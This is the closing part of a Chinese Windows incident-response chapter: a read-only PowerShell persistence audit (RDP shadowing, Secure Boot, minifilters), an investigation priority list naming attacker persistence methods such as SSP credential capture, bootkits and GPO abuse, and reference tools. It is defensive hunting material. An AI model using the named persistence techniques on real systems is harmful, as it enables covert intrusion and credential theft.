Write-Host " [!] RDP Shadow 无需用户同意: $shadow" -ForegroundColor Red
$findings += "RDP Shadow 无需同意"
}

# ---- 14. Secure Boot / UEFI ----
Write-Host "`n[14/14] Secure Boot / UEFI (T1542)" -ForegroundColor Yellow
try {
$sb = Confirm-SecureBootUEFI
$color = if ($sb) { "Green" } else { "Red" }
Write-Host " Secure Boot: $sb" -ForegroundColor $color
if (-not $sb) { $findings += "Secure Boot 未启用" }
} catch {
Write-Host " 非 UEFI 系统或无法检查" -ForegroundColor Yellow
}

# ---- Minifilter 驱动 ----
Write-Host "`n[补充] Minifilter 驱动" -ForegroundColor Yellow
$fltmc = fltmc 2>$null
if ($fltmc) { $fltmc | ForEach-Object { Write-Host " $_" -ForegroundColor Gray } }

# ============================================================
# 汇总
# ============================================================
Write-Host "`n" + "=" * 60 -ForegroundColor Cyan
Write-Host " 排查完成 | 发现 $($findings.Count) 个异常项" -ForegroundColor $(if($findings.Count -gt 0){"Red"}else{"Green"})
Write-Host "=" * 60 -ForegroundColor Cyan

if ($findings.Count -gt 0) {
Write-Host "`n[异常汇总]" -ForegroundColor Red
$findings | ForEach-Object { Write-Host " - $_" -ForegroundColor Yellow }
}

Write-Host "`n提示: 本脚本为补充排查,请配合 Page 30 的综合 Checklist 一起使用" -ForegroundColor Gray

15.4 排查优先级建议

高优先级(APT / 高级攻击必查)

SSP / Authentication Package(可获取明文密码)

内核回调 / Minifilter(Rootkit 核心技术)

Bootkit / UEFI(最底层持久化)

GPO 持久化(域环境全域影响)

中优先级(常见攻击手法)

Office 持久化(钓鱼攻击后续)

Logon Script(UserInitMprLogonScript)

Active Setup

RDP 后门

常规排查(全面清查时包含)

Netsh Helper DLL

Time Provider DLL

屏幕保护程序

文件关联劫持

浏览器扩展

15.5 参考资源

MITRE ATT&CK 持久化技术矩阵https://attack.mitre.org/tactics/TA0003/

Autoruns(Sysinternals):最全面的自启动排查工具

关联:31-Sysinternals套件

Persistence Sniper(GitHub):自动化 Windows 持久化排查工具

YOURKIT / PersistenceHunter:专注持久化检测的工具

Sigma 规则仓库https://github.com/SigmaHQ/sigma — 搜索 persistence 相关规则

关联:32-Sysmon部署与规则编写 | 36-自动化IR工具-KAPE与Velociraptor


上一章 目录 下一章
37-USB外设取证与文件访问追踪 Windows应急响应 Lab-README